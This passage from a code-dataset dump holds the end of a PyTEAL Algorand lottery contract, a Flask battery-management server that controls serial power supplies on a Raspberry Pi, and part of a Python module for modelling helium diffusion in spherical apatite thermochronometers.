opt_in=OnCompleteAction(\n            action=Approve(), call_config=CallConfig.CALL\n        ),\n        clear_state=OnCompleteAction(\n            action=Reject(), call_config=CallConfig.CALL\n        ),\n        close_out=OnCompleteAction(\n            action=Reject(), call_config=CallConfig.CALL\n        ),\n        # contract can only be updated by creator\n        update_application=OnCompleteAction(\n            action=Seq(Assert(is_creator), Approve()), call_config=CallConfig.CALL\n        ),\n        delete_application=OnCompleteAction(\n            action=Reject(), call_config=CallConfig.CALL\n        ),\n\n    )\n)\n\nrouter.add_method_handler(initiliaze_game_params)\nrouter.add_method_handler(get_game_params)\nrouter.add_method_handler(\n    enter_game, method_config=MethodConfig(opt_in=CallConfig.CALL, no_op=CallConfig.CALL))\nrouter.add_method_handler(change_guess_number)\nrouter.add_method_handler(get_user_guess_number)\nrouter.add_method_handler(generate_lucky_number)\nrouter.add_method_handler(get_lucky_number)\nrouter.add_method_handler(check_user_win_lottery)\nrouter.add_method_handler(reset_game_params)\nrouter.add_method_handler(get_total_game_played)\napproval_program, clear_state_program, contract = router.compile_program(\n    version=7, optimize=OptimizeOptions(scratch_slots=True)\n)\n\n\nwith open(\"contracts/app.teal\", \"w\") as f:\n    f.write(approval_program)\n\nwith open(\"contracts/clear.teal\", \"w\") as f:\n    f.write(clear_state_program)\n\n\nwith open(\"contracts/contract.json\", \"w\") as f:\n    f.write(json.dumps(contract.dictify(), indent=4))\n\nif __name__ == \"__main__\":\n    print(approval_program)\n","repo_name":"Muhindo-Galien/RandNum","sub_path":"Backend/contracts/lotto.py","file_name":"lotto.py","file_ext":"py","file_size_in_byte":19007,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"3667825858","text":"#!/usr/bin/env python\n\nimport os\nimport logging\nimport logconf\nimport logging.config\nimport signal\nfrom flask import Flask, request\nfrom flask_restful import Resource, Api\n#from libraries import can_lib_auguste as canau\nfrom libraries import EAEL9080 as bb\nfrom libraries import EAPSI8720 as au\n#import temp_reading_multithreading as ds18b20\nimport json\nfrom RPi import GPIO\nimport ast\nimport time\nimport MySQLdb\nimport sys\nimport subprocess\nimport numpy as np\nimport psutil\nimport tempconf\nimport requests\n\nwith open('blconfr.json', 'r') as f:\n    resetdict = json.load(f)\nwith open('blconf.json', 'w') as f:\n    json.dump(resetdict, f)\n\nlogging.config.dictConfig(logconf.LOGGING)\nglobal logger\nlogger = logging.getLogger('app')\n\nGPIO.setmode(GPIO.BCM)\nGPIO.setup(17, GPIO.OUT) #slave select\n\n\nau.startSerial('/dev/ttyUSB1')\ntime.sleep(0.1)\nau.remoteControllOn()\n#au.getActualValues()\nau.readAndTreat()\nau.readAndTreat()\nau.setCurrent(0.)\nau.setVoltage(32)\nau.setPower(500)\n#\nbb.startSerial('/dev/ttyUSB0', \"02\")\nbb.setRemoteControllOn()\ntime.sleep(0.1)\n#bb.getActualValues()\nbb.readAndTreat()\nbb.readAndTreat()\nbb.setInputOn()\nbb.setCCMode()\nbb.clearBuffer()\nbb.setPowerA(1000)\nbb.setVoltageA(24.)\nbb.setCurrentA(0)\nbb.clearBuffer()\n\ndef shutdown():\n    func = request.environ.get('werkzeug.server.shutdown')\n    if func is None:\n        raise RuntimeError('Not running with the Werkzeug Server')\n    func()\n    \ndef signal_handler(signal_s, frame):\n    logger.critical('EXITING SYSTEM')\n    time.sleep(0.1)\n    bb.setCurrentA(0)\n    time.sleep(0.1)\n    bb.setVoltageA(0)\n    time.sleep(0.5)\n    #bb.setPowerA(0)\n    time.sleep(0.1)\n    bb.setInputOff()\n    time.sleep(0.1)\n    bb.setRemoteControllOff()\n    time.sleep(0.1)\n    bb.stopSerial()\n    time.sleep(0.1)\n    au.setVoltage(0)\n    time.sleep(0.1)\n    au.setCurrent(0)\n    time.sleep(0.1)\n    au.stopSerial()\n    time.sleep(0.1)\n    for x in get_pid(\"python\"):\n        process = psutil.Process(int(x))\n        logger.debug(\"FOUND PYTHON PROCESS WITH ID: %d IN SIGNAL HANDLER OF APP.PY\", x)\n        logger.debug(\"Content of process.cmdline(): %s\", process.cmdline())\n        if (int(x) != int(os.getpid()) and process.cmdline() != [] and 'test' in process.cmdline()[1]):\n            os.kill(int(x), signal.SIGKILL)\n    plogging.kill()\n    GPIO.cleanup()\n    quit()\n    sys.exit(1)\n\nsignal.signal(signal.SIGTERM, signal_handler)\nsignal.signal(signal.SIGINT, signal_handler)\n\ndef get_pid(name):\n    return map(int, subprocess.check_output([\"pidof\", name]).split())\n\n#plogging = subprocess.Popen([sys.executable, './logging2db.py'])\ntime.sleep(2) #waiting for current calibration\n\nnumslaves = 7 #link to database settings\ncon = None\n\napp = Flask(__name__)\napi = Api(app)\n\n#header = [\"Timestamp\", \"Current\", \"MVoltage\", \"Sl1Voltage\", \"Sl2Voltage\", \"Sl3Voltage\", \"Sl4Voltage\", \"Sl5Voltage\", \"Sl6Voltage\", \"Sl7Voltage\", \"Sl8Voltage\", \"Sl9Voltage\", \"Sl10Voltage\", \"Sl11Voltage\", \"Sl12Voltage\", \"Sl13Voltage\", \"Sl14Voltage\", \"Sl15Voltage\"]\nglobal cut_off_voltage_low\ncut_off_voltage_low = 2.8\nglobal cut_off_voltage_high\ncut_off_voltage_high = 4.\n\n#Sl0Bl is the master\n#headerBl = [\"Sl0Bl\", \"Sl1Bl\", \"Sl2Bl\", \"Sl3Bl\", \"Sl4Bl\", \"Sl5Bl\", \"Sl6Bl\", \"Sl7Bl\", \"Sl8Bl\", \"Sl9Bl\", \"Sl10Bl\", \"Sl11Bl\", \"Sl12Bl\", \"Sl13Bl\", \"Sl14Bl\", \"Sl15Bl\"]\n\nwith open('blconfr.json', 'r') as f:\n    bldict = json.load(f)\n\nclass ActualValues(Resource):\n    global cut_off_voltage_low\n    global cut_off_voltage_high\n    global logger\n    def get(self):\n        dataDict = {}\n        #db = MySQLdb.connect(host=\"localhost\", user=\"python\", passwd=\"pypasswd\", db=\"test\")\n        #with db:\n        #    cur = db.cursor()\n        #    success = False\n        #    while not success:\n        #        try:\n        #            cur.execute(\"select * from MostRecentMeasurement\")\n        #            row = cur.fetchone()\n        #            if (row):\n        #                success = True\n        #        except:\n        #            time.sleep(0.01)\n        #    colNames = list(map(lambda x: x[0], cur.description))\n        #    #print(colNames)\n        #    #print(row)\n        #    dataDict = dict(zip(colNames, row))\n        #    #print(\"DATADICT\")\n        #    #print(dataDict)\n        #    # map keys to their number of rings on the data cable\n        #    #for (key, val) in tempconf.tempmap.items():\n        #    #    if key in dataDict:\n        #    #        dataDict[val] = dataDict.pop(key)\n        #if db: db.close()\n        with open(\"writeDBMR.txt\",  'r') as f:\n            row = f.readlines()\n        header  = row[0].strip().split(', ')\n        data    = [float(x) for x in row[1].strip().split(', ')]\n        dataDict = dict(zip(header, data))\n        print(\"Datadict:\")\n        print(dataDict)\n        for x in dataDict.keys():\n            if \"Voltage\" in x:\n                #print(x)\n                dataDict[x] = round(dataDict[x], 5)\n                #print(round(dataDict[x], 5))\n                #print(dataDict[x])\n                if (dataDict[x] < cut_off_voltage_low and dataDict[x] >= 0):\n                    logger.critical('UNDERVOLTAGE ON SLAVE %s REACHED, VOLTAGE NOW IS: %1.2f' % (x, dataDict[x]))\n                    if (dataDict[x] < 0):\n                        self.quit(2)\n                    else:\n                        self.quit(1)\n\n                elif (dataDict[x] > cut_off_voltage_high):\n                    logger.critical('OVERVOLTAGE ON SLAVE %s REACHED, VOLTAGE NOW IS: %1.2f' % (x, dataDict[x]))\n                    self.quit(2)\n            else:\n                dataDict[x] = round(dataDict[x], 2)\n        #print(dataDict)\n        return dataDict\n\n    def quit(self, num):\n        try:\n            for x in get_pid(\"python\"):\n                process = psutil.Process(int(x))\n                logger.debug(\"FOUND PYTHON PROCESS WITH ID: %d\", x)\n                if (int(x) != int(os.getpid()) and ('test' in process.cmdline()[1])):\n                    logger.debug(\"Sent SIGKILL to process ID: %d\", int(x))\n                    os.kill(int(x), signal.SIGKILL)\n                    time.sleep(1.)\n        except:\n            print(\"EXCEPTION\")\n            logger.debug(\"exception in SIGKILL\")\n            logger.debug(str(sys.exc_info()[0]))\n\n        if (num == 1):\n            bb.setCurrentA(0)\n            au.setCurrent(15)\n            time.sleep(15)\n            au.setCurrent(0)\n\n        elif (num == 2):\n            au.setCurrent(0)\n            bb.setCurrentA(15)\n            time.sleep(15)\n            bb.setCurrentA(0)\n        else:\n            au.setCurrent(0)\n            bb.setCurrentA(0)\n            time.sleep(15.)\n\n        #set bleeding off\n        with open('blconfr.json', 'r') as f:\n            resetdict = json.load(f)\n        with open('blconf.json', 'w') as f:\n            json.dump(resetdict, f)\n        #os.kill(int(os.getpid()), signal.SIGTERM)\n\nclass BleedingControll(Resource):\n    #def get(self, slave_id):\n    #    print(\"GET\")\n    #    print(slave_id)\n    #    return bldict[slave_id]\n\n    def get(self, slave_id):\n        #print(\"GET\")\n        #print(slave_id)\n        if (slave_id[-2:].lower() == 'on'):\n            bldict[slave_id[:-2]] = 1 \n            try:\n                #canau.setBleedingOn(int(filter(str.isdigit, str(slave_id))))\n                #canau.setBleedingOn(int(filter(str.isdigit, str(slave_id))))\n                print(\"turned slave bleeding on\")\n            except:\n                print(\"EXCEPTION\")\n                print(int(filter(str.isdigit, str(slave_id))))\n                print(slave_id)\n                logger.debug(\"Invallid slave id\")\n        elif (slave_id[-3:].lower() == 'off'):\n            bldict[slave_id[:-3]] = 0 \n            try:\n                #canau.setBleedingOff(int(filter(str.isdigit, str(slave_id))))\n                #canau.setBleedingOff(int(filter(str.isdigit, str(slave_id))))\n                print(\"turned slave bleeding off\")\n            except:\n                logger.debug(\"Invallid slave id\")\n        else:\n            return bldict[slave_id]\n        with open('blconf.json', 'w') as f:\n            print(\"writing bldict\")\n            print(bldict)\n            json.dump(bldict, f)\n        #os.kill(plogging.pid, signal.SIGUSR1)\n        return 201\n\nclass write2db(Resource):\n    try:\n        db = MySQLdb.connect(host=\"localhost\", user=\"python\", passwd=\"test123\", db=\"test\")\n        cur = db.cursor()\n        cur.execute('SELECT VERSION()')\n        db.commit()\n        data = cur.fetchone()\n        print(\"MySQL version: \" + str(data))\n    except (MySQLdb.Error, MySQLdb.Warning) as e:\n        print(\"Error \" + str(e.args[0]))\n        sys.exit(1)\n    finally:\n        if db:\n            db.close()\n\n    def get(self):\n        pass\n\n\napi.add_resource(ActualValues, '/ActualValues')\napi.add_resource(write2db, '/write2db')\napi.add_resource(BleedingControll, '/BleedingControll/<string:slave_id>')\n\n#--- Enable CORS (cross origin requests), from: http://coalkids.github.io/flask-cors.html\n@app.before_request\ndef option_autoreply():\n    \"\"\" Always reply 200 on OPTIONS request \"\"\"\n\n    if request.method == 'OPTIONS':\n        resp = app.make_default_options_response()\n\n        headers = None\n        if 'ACCESS_CONTROL_REQUEST_HEADERS' in request.headers:\n            headers = request.headers['ACCESS_CONTROL_REQUEST_HEADERS']\n\n        h = resp.headers \n        # Allow the origin which made the XHR\n        h['Access-Control-Allow-Origin'] = request.headers['Origin']\n        # Allow the actual method\n        h['Access-Control-Allow-Methods'] = request.headers['Access-Control-Request-Method']\n        # Allow for 10 seconds\n        h['Access-Control-Max-Age'] = \"10\"\n\n        # We also keep current headers\n        if headers is not None:\n            h['Access-Control-Allow-Headers'] = headers\n        return resp\n\n\n@app.after_request\ndef set_allow_origin(resp):\n    \"\"\" Set origin for GET, POST, PUT, DELETE requests \"\"\"\n\n    h = resp.headers \n    # Allow crossdomain for other HTTP Verbs\n    if request.method != 'OPTIONS' and 'Origin' in request.headers:\n\n        h['Access-Control-Allow-Origin'] = request.headers['Origin']\n    return resp\n\n\nif __name__ == \"__main__\":\n    plogging = subprocess.Popen(['/usr/bin/python2', 'logging2db.py'])\n    app.run(debug=False, host=\"0.0.0.0\", port=5000, threaded=True)\n    print(\"DONE\")\n\n","repo_name":"augustecolle/BMS_2","sub_path":"python/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":10280,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"41767721653","text":"# -*- coding: utf-8 -*-\n'''\nCreated on Thu Dec 15 15:59:53 2016\n\n@author: sjohnstone, sjohnstone@usgs.gov\n\n This is a class that describes a thermochronometer. It is currently only configured for spherical apatite He thermochronometers.\n\n'''\n\n__author__ = [\"Sam Johnstone\"]\n__copyright__ = \"2016\"\n__credits__ = [\"Sam Johnstone\"]\n__license__ = \"MIT\"\n__maintainer__ = \"Sam Johnstone\"\n__email__ = \"sjohnstone@usgs.gov\"\n__status__ = \"Production\"\n\nimport numpy as np\nimport pandas as pd\nfrom matplotlib import pyplot as plt\nfrom scipy import optimize\nfrom scipy.sparse import diags\nfrom scipy import linalg\nfrom scipy import interpolate\nfrom matplotlib import cm\nfrom scipy import integrate\nfrom scipy import stats\nfrom scipy import special\n\n\n# ==============================================================================\n# Constants used throughout\n# ==============================================================================\nR_CONST = 8.3144598  # Universal gas constant\nAV_CONST = 6.022  # Avogadros number\n\n\n# ==============================================================================\n# Useful functions\n# ==============================================================================\ndef thermDiffusivity(T, Do, Ea, R):\n    '''Temperature dependent diffusivity, D = Do*exp(-Ea/RT)\n\n        Remember to be careful with units, T in Kelvin, R in J K^-1 mol^-1,\n        Ea in J\n    '''\n\n    return Do * np.exp(Ea / (R * T))\n\n\ndef kth_diag_indices(a, k):\n    '''\n    Get the offset diagonal indices at the kth position\n    :param a: the matrix\n    :param k: relative position of diagonal (k = 0 is diag, k = -1 is below diag, k = 1 is above diag)\n    :return:\n    '''\n    rowidx, colidx = np.diag_indices_from(a)\n    colidx = colidx.copy()  # rowidx and colidx share the same buffer\n\n    if k == 0:\n        print('Warning! Nothing will be returned, use np.diag_indices for k  = 0')\n\n    if k > 0:\n        colidx += k\n    else:\n        rowidx -= k\n    k = np.abs(k)\n\n    return rowidx[:-k], colidx[:-k]\n\n\ndef calcFt(radius, stoppingDistance):\n    '''\n    Calculate the alpha ejection correction of Farley, 1996\n    :return: Ft, the fraction of alpha particles that would be retained\n    '''\n\n    return 1 - (3.0 * stoppingDistance) / (4.0 * radius) + stoppingDistance ** 3 / (\n    16.0 * radius ** 3)\n\ndef approxRadiusFromFt(Ft,stoppingDistance, radiusGuess):\n    '''\n\n    :param stoppingDitance:\n    :param radiusGuess:\n    :return:\n    '''\n\n    rootfun = lambda r : Ft - calcFt(r,stoppingDistance)\n\n    return optimize.newton(rootfun,radiusGuess)\n\ndef sphericalVolumeIntegral(quantity,radialPositions):\n    integralQuantity = 4.0 * np.pi * quantity * radialPositions ** 2\n    return integrate.trapz(integralQuantity,radialPositions)\n\n\ndef CJDiffuse(C, int_tao, r, a):\n    '''\n    Fourier transform based solution to diffusion in a sphere from carlslaw and Jaeger\n    NOTE: Use a regular grid of points, and do not cumulatively integrate to avoid instabilities.\n    That is - integrate tao for the history you wish to simulate, rather than stepping through a series\n    of tao values. For example, in degassing experiments don't treat each 'step' individually, but\n    solve for remaining gas considering initial conditions and ALL previous step heating experiments\n    Also NOTE: Solution divides by r, so a point at the center of crystal (r=0) will cause problems\n    :param C:\n    :param int_tao: The integral of the diffusivity over time\n    :param r:\n    :param a:\n    :return:\n    '''\n\n    #Do I need to sum over odd interval?\n    n = len(C)\n    # if np.mod(n,2)==0:\n    #     n+=1\n    Ks = np.arange(1, n)\n\n    expTerm = lambda k: np.exp(-(k ** 2) * (np.pi ** 2) * int_tao)\n    sinTerm = lambda k: np.sin(k * np.pi * r / a)\n    integralTerm = lambda k: integrate.trapz(sinTerm(k) * r * C, r)\n\n    C_diffed = np.zeros_like(C)\n\n    for k in Ks:\n        C_diffed += expTerm(k) * sinTerm(k) * integralTerm(k)\n\n    # return C_diffed[1:-1]*2.0/(r[1:-1]*a)\n    return C_diffed * 2.0 / (r * a)\n\ndef CJDiffuse_uniform(meanC,int_tao,r,a):\n    '''\n\n    THIS FUNCTINO IN PROGRESS, NOT YET WORKING\n\n    Carlslaw and Jaeger solution for diffusion in a sphere of uniform concentration.\n\n    In chapter 9.3 solution is listed as 'subtraction of 4 - 9 ' from V\n    :param meanC: single value, the concentration\n    :param int_tao: the integrated diffusivity, effectively k*t/a**2\n    :param r: array of coordinates along the radius\n    :param a:single value, radius of sphere\n    :return: C(r,int_tao), the concentration after diffusion\n    '''\n\n    # kt = int_tao*a**2\n    # ierfc = lambda z: (1.0/np.pi)*np.exp(-z**2) - z*special.erfc(z)\n\n    #Solution to equation 4/5, zero concentration, surface temperature of V is constant\n    ns = np.arange(1,1e3 + 1)\n\n    eqn_5 = 0\n    for n in ns:\n        # eqn_5 = special.erfc(((2.0*n+1)*a-r)/(2.0*np.sqrt(kt))) - special.erfc(((2.0*n+1)*a+r)/(2.0*np.sqrt(kt)))\n        eqn_5 += ((-1) ** n / n) * np.sin(n * np.pi * r / a) * np.exp(-(n ** 2) * (np.pi ** 2) * int_tao)\n\n    # eqn_5 *= (a*meanC/r)\n    eqn_5 = meanC + (2.0 * a * meanC / (np.pi * r)) * eqn_5\n\n    #Solution to equation 6/7, temperature at center of sphere\n    eqn_7 = (-1)**n*np.exp(-(n ** 2) * (np.pi ** 2) * int_tao)\n    eqn_7 = meanC + 2.0*meanC*np.sum(eqn_7)\n\n    #Solution to equation 8/9, average temperature\n    eqn_9 = (1.0/n**2)*np.exp(-(n ** 2) * (np.pi ** 2) * int_tao)\n    eqn_9 = meanC - (6.0*meanC/np.pi**2)*np.sum(eqn_9)\n\n\n    # eqn_7 = np.exp(-(2.0*n+1)**2*a**2/(4.0*kt))\n    # eqn_7 = np.sum(eqn_7)*a*meanC/np.sqrt(np.pi*kt)\n\n    # eqn_9 = ierfc((n*a)/np.sqrt(kt))\n    # eqn_9 = (6.0*meanC*np.sqrt(kt)/(a*np.sqrt(np.pi))) - (3.0*meanC*kt/a**2) + (12.0*meanC*np.sqrt(kt)/a)*np.sum(eqn_9)\n\n    return meanC - (eqn_5 + eqn_7 + eqn_9)\n\ndef calcD_forArrhenius(a,sumF,dt):\n    '''\n    Calculates the Diffusivity for a degassing experiment based on equations\n    for diffusion in a sphere of Fechtig and Kalbitzer, 1966\n\n    Worth noting that\n    :param a: Radius of grain (diffusion domain...)\n    :param sumF:  Cumulative gas fraction released\n    :param dt: duration of each step\n    :return: D_i+1, the diffusivity\n    '''\n\n    #The first experiment is assumed to have a square profile, which requires its own equation (Eqns. 4a-4c)\n    if sumF[0] <= 0.1:\n        #Equation 4a\n        D_0 = sumF[0]**2*np.pi*a**2/(36.0*dt[0])\n    elif (sumF[0] > 0.1) & (sumF[0] < 0.9):\n        # Equation 4b\n        D_0 = (a**2/np.pi**2*dt[0])*(2.0*np.pi - np.pi**2*sumF[0]/3.0 - 2.0*np.pi*np.sqrt(1.0 - np.pi*sumF[0]/3.0))\n    elif sumF[0] > 0.9:\n        # Equation 4c\n        D_0 = -(a**2/np.pi**2*dt[0])*np.log(np.pi**2*(1.0 - sumF[0])/6.0)\n\n\n\n            #Subsequent experiments (e.g. not the first) have non-square profiles\n    # due to diffusion in the sphere during the experiment (Eqns. 5a - 5b)\n    Dip1_a = (sumF[1:] ** 2 - sumF[:-1] ** 2) * np.pi * a ** 2 / (36.0 * dt[1:])\n\n    Dip1_b = (a ** 2 / (np.pi ** 2 * dt[1:])) * (-(np.pi ** 2 / 3.0) * (sumF[1:] - sumF[:-1])\n                        - 2.0 * np.pi * (np.sqrt(1.0 - np.pi * sumF[1:] / 3.0) - np.sqrt(1.0 - np.pi * sumF[:-1] / 3.0)))\n\n    Dip1_c = (a ** 2 / (np.pi ** 2 * dt[1:])) * np.log((1.0 - sumF[:-1]) / (1.0 - sumF[1:]))\n\n    Dip1 = np.zeros_like(Dip1_a)\n    Dip1[sumF[1:] <= 0.1] = Dip1_a[sumF[1:] <= 0.1]\n    Dip1[(sumF[1:] > 0.1)] = Dip1_b[(sumF[1:] > 0.1)]\n    Dip1[sumF[1:] > 0.9] = Dip1_c[sumF[1:] > 0.9]\n\n    return np.hstack((D_0,Dip1))\n\ndef plotArrhenius(a,F3He,T,dt, **kwargs):\n    '''\n\n    :param kwargs:\n    :return:\n    '''\n\n    D = calcD_forArrhenius(a,np.cumsum(F3He),dt)\n\n    invT = 1 / T\n\n    plt.plot(invT, np.log(D / a ** 2), **kwargs)\n\n    return D,invT\n\ndef calcClosureTemperature(a,coolingRate,Ea,D_0,shape = 'sphere',closureTempGuess = 300.0):\n    '''\n    Calculate the closure temperature for the given cooling rate, given the constant Ea, and D_0\n    describing thermally activated volume diffusion.\n    :param a: spherical radius of grain (must match units of diffusion)\n    :param coolingRate: degrees K / (time - units in D_0)\n    :param Ea: Activation energy - J/Mol\n    :param D_0: pre-exponential constant, units of length ^2 / time\n    :param shape: determines 'A' the shape factor, options are 'sphere', 'cylinder', or 'sheet'\n    :return:\n    '''\n\n    if shape.lower() == 'sphere':\n        A = 55.0\n    elif shape.lower() == 'cylinder':\n        A = 27.0\n    elif shape.lower() == 'plane sheet':\n        A = 8.7\n\n    #The most obvious strategy is to use the equations Dodson lays out (specifically this is from Equation 23\n    # in Dodson 1973. Note that this is just the inverse (inverted) of what you'd expect from combi equtions i and ii in the abstract\n    # this is the inverse of that.... For whatever reason, I get conversion with this version, but not when I try to just invert it\n    # also, Dodson seems to use a negative for his dT/dt (my 'coolingRate' equivalent), which changes the sign.\n    omega = A*D_0/a**2\n    Tc_fun = lambda Tc: ((R_CONST / Ea) * np.log(omega * (R_CONST * Tc ** 2) / (Ea * coolingRate))) ** -1\n    rootFun = lambda Tc: Tc - Tc_fun(Tc)\n\n    #Another strategy would be to take the function for cooling rate provided in Reiners and Brandon, 2006 (Eqn 7),\n    #and subtract the predicted cooling rate from the cooling rate. If the closure temperature is 'correct' this will\n    #be zero - so we can search for this 'root' with newtons method\n    # coolingRateFun = lambda Tc: (omega * R_CONST * Tc ** 2 / Ea) * np.exp(-Ea / (R_CONST * Tc))\n    # rootFun = lambda Tc: coolingRate - coolingRateFun(Tc)\n\n\n    Tc = optimize.newton(rootFun, closureTempGuess, maxiter=1000, tol=1e-6)\n\n    return Tc - 273.15\n\n\n# ==============================================================================\n#  Classes for different thermochronometers\n# ==============================================================================\n\nclass Thermochronometer():\n    '''\n    '''\n\n    def __init__(self):\n        self._parents = None\n        self._daughters = None\n        self._decayConsts = None\n        self._daughterProductionFactors = None\n        self._diffusivityFunction = None  # Afunction that excepts a teperature and returns a diffusivity\n        self._multipleParents = None  # is there more than one parent\n        pass\n\n    def calcAge(self):\n\n        '''Calculate the raw age in years of the thermochronometer based on parent, daughter ratios.\n\n        If there are multiple parents, this is done via iterative, root finding methods.\n        If there is a single parent the age is calculated directly.\n\n\n        NOTE: Should add some checks to make sure that we don't try and calculate anything without\n        first defining values\n        '''\n        if self._multipleParents:\n\n            return self._calcAgeMultipleParents()\n\n        else:\n\n            return self._calcAgeSingleParent()\n\n    def _calcAgeMultipleParents(self, t0=1e6):\n\n        '''Calculate the raw age in years of the thermochronometer based on parent, daughter ratios.\n\n        Given multiple parents, this is done via iterative methods. t0 is the initial\n        guess for these methods\n\n        '''\n\n        def rootFunc(self, t):\n            sumParentsRemaining = np.zeros_like(self._daughter)\n            sumDecayComponent = np.zeros_like(self._daughter)\n            for i, f in enumerate(self._daughterProductionFactors):\n                sumParentsRemaining += f * self._parents[i]\n                sumDecayComponent += f * self._parents[i] * np.exp(self._decayConsts[i] * t)\n\n            return (self._daughters + sumParentsRemaining) - sumDecayComponent\n\n        tErr = lambda t: rootFunc(self, t)\n        t0 = 1e6 * np.ones_like(self._daughters)  # Initial guess of 1 MA\n\n        return optimize.root(tErr, t0).x\n\n    def _calcIntegratedAgeMultipleParents(self, t0=1e6):\n\n        '''Calculate the raw age in years of the thermochronometer based on parent, daughter ratios.\n\n        Given multiple parents, this is done via iterative methods. t0 is the initial\n        guess for these methods\n\n        '''\n\n        def rootFunc(self, t):\n            sumParentsRemaining = np.zeros_like(self._daughters)\n            sumDecayComponent = np.zeros_like(self._daughters)\n            for i, f in enumerate(self._daughterProductionFactors):\n                sumParentsRemaining += f * np.sum(self._parents[i])\n                sumDecayComponent += f * np.sum(self._parents[i] * np.exp(self._decayConsts[i] * t))\n\n            return (self._daughters + sumParentsRemaining) - sumDecayComponent\n\n        tErr = lambda t: rootFunc(self, t)\n        t0 = 1e6 * np.ones_like(self._daughters)  # Initial guess of 1 MA\n\n        return optimize.root(tErr, t0).x\n\n    def _calcAgeSingleParent(self):\n\n        '''Calculate the raw age in years of the thermochronometer based on parent, daughter ratios.\n\n        Given multiple parents, this is done via iterative methods. t0 is the initial\n        guess for these methods\n\n        '''\n\n        return (1 / self._decayConsts) * np.log(1 + self._daughters / (self._daughterProductionFactors * self._parents))\n\n    def _calcIntegratedAgeSingleParent(self):\n\n        '''Calculate the raw age in years of the thermochronometer based on parent, daughter ratios.\n\n        Given multiple parents, this is done via iterative methods. t0 is the initial\n        guess for these methods\n\n        '''\n\n        return (1 / self._decayConsts) * np.log(\n            1 + np.sum(self._daughters) / (self._daughterProductionFactors * np.sum(self._parents)))\n\n    def calcDecayProductionRate(self):\n        '''Rate of atoms of a parent lost for\n        the decay constant lam and the number of parent atoms nParents\n\n        dN/dt = -lam*N\n        dD/dt = f*lam*N (where f is the number of daughters produced per parent decay)\n\n        RETURNS:\n\n        dN/dt - parent loss rate (negative)\n        dD/dt -daughter accumulation rate (positive)\n        '''\n\n        if self._multipleParents:\n            dNdt, dDdt = self._multiDecayProductionRate()\n        else:\n            dNdt = -self._decayConsts * self._parents\n            dDdt = -self._daughterProductionFactors * dNdt\n\n        return dNdt, dDdt\n\n    def calcDaughterLossRate(self, T):\n\n        ''' Calculates the rate of loss of daughter product at the specified temperature.\n        The actual function for this will be defined by subclasses. All thermochronometers\n        have a temperature dependent loss of daughter product, but they do not all\n        share the same depdenencies.\n        '''\n        print('Error: calcDaughterLossRate not defined by subclass')\n        return None\n\n    def _multiDecayProductionRate(self):\n        ''' For when multiple parents produce the same daughter, this calculates\n        the rates of parent loss and daughter gain\n\n        NOTE: SHOULD THINK ABOUT HOW I AM PASSING AND STORING THE PARENT CONC\n        AND THE PRODUCTION RATE OF THAT CONC\n\n        '''\n        dDdt = np.zeros_like(self._parents[0])  # Preallocate space for the daughter production rate\n        dNdt = []  # initialize a list for the parent decay rates\n\n        for i, f in enumerate(self._daughterProductionFactors):\n            dN_idt = -self._decayConsts[i] * self._parents[i]\n\n            dD_idt = -f * dN_idt\n\n            dDdt += dD_idt\n            dNdt.append(dN_idt)\n\n        return np.array(dNdt), dDdt\n\n\nclass sphericalThermochronometer(Thermochronometer):\n    ''' A Basic spherical thermochronometer\n    '''\n\n    def __init__(self, radius, dr, diffusivityFunction, parentConcs, daughterConcs, decayConstants,\n                 daughterProductionFactors):\n        '''\n\n        :param radius:\n        :param dr:\n        :param diffusivityFunction:\n        :param parentConcs:\n        :param daughterConcs:\n        :param decayConstants:\n        :param daughterProductionFactors:\n        '''\n\n        self.radius = radius\n        self.dr = dr\n        self.rs = np.arange(dr / 2.0, radius, dr)\n        self._n = len(self.rs)\n        self._diffusivityFunction = diffusivityFunction\n\n        self._daughters = daughterConcs\n        self._parents = parentConcs\n\n        self._decayConsts = decayConstants\n        self._daughterProductionFactors = daughterProductionFactors\n        self.external_bc = 0.0\n\n        # Set up matrices for solution\n        a = np.array([np.ones(self._n - 1), np.ones(self._n), np.ones(self._n - 1)])\n\n        # Initialize the matrices usef for the integration\n        self._M = np.diag(np.ones(self._n), k=0)\n        self._N = np.diag(np.ones(self._n), k=0)\n\n        # Store the relative indices of the diagonals\n        self._km1Diag = kth_diag_indices(self._M, -1)\n        self._kDiag = np.diag_indices(self._n)\n        self._kp1Diag = kth_diag_indices(self._M, 1)\n\n        # fill in the otherimportant diagonals\n        self._M[self._km1Diag] = 1.0\n        self._M[self._kp1Diag] = 1.0\n\n        self._N[self._km1Diag] = -1.0\n        self._N[self._kp1Diag] = -1.0\n\n        # Calculate the depletion fraction as a function of radius\n        self._ejectionFraction = self._calcEjectionFraction()\n\n        self._multipleParents = parentConcs.ndim > 1\n\n        #What are the discrete volumes of each node spherical shell\n        Volumes = (4.0 / 3.0) * np.pi * ((self.rs + self.dr / 2.0) ** 3 - (self.rs - (self.dr / 2.0)) ** 3)\n        Volumes[0] = (4.0 / 3.0) * np.pi * (self.rs[0] + (self.dr / 2.0)) ** 3\n        Volumes[-1] = (4.0 / 3.0) * np.pi * (self.radius ** 3 - (self.rs[-1] - (self.dr / 2.0)) ** 3)\n\n        self._ShellVolumes = Volumes\n\n    def _determineTimeStep(self, tNow, tStop, tempFromTimeFun, f):\n        '''\n        Function to determine the largest timestep that results in negligable changes in temperature across integration\n        :param tNow:\n        :param tStop:\n        :param tempFromTimeFun:\n        :return:\n        '''\n\n        def rootfun(dt):\n            diffFun = lambda t: tempFromTimeFun(t)\n            return np.abs(diffFun(tNow) - diffFun(tNow + dt)) - f\n\n        # Split this up into log bins\n        dts = np.logspace(0, 7, 100)\n\n        # Calculate how close this is to the acceptable fraction\n        errs = rootfun(dts)\n\n        # Find the first unacceptable fraction\n        idx = np.argwhere(errs < 0)[-1]\n        dt = dts[idx]\n\n        return dt\n\n    def integrateThermalHistory_variableStep(self, tStart, tStop, tempFromTimeFun, f=5):\n        '''\n        Integrate through the provided thermal history, allowing the time step to vary to minimize misfit b/w temps b/w diffusivities\n        :param tStart: time to start the integration\n        :param tStop: time to end the integration\n        :param tempFromTimeFun: function that given a time will return a temperature in K\n        :param f: the target misfit between diffusivities at the start and end of timesteps\n        :return: None, update the values of this instance\n        '''\n\n        t = tStart\n\n        while t < tStop:\n            dt = self._determineTimeStep(t, tStop, tempFromTimeFun, f)\n            if t + dt > tStop:\n                dt = tStop - t\n            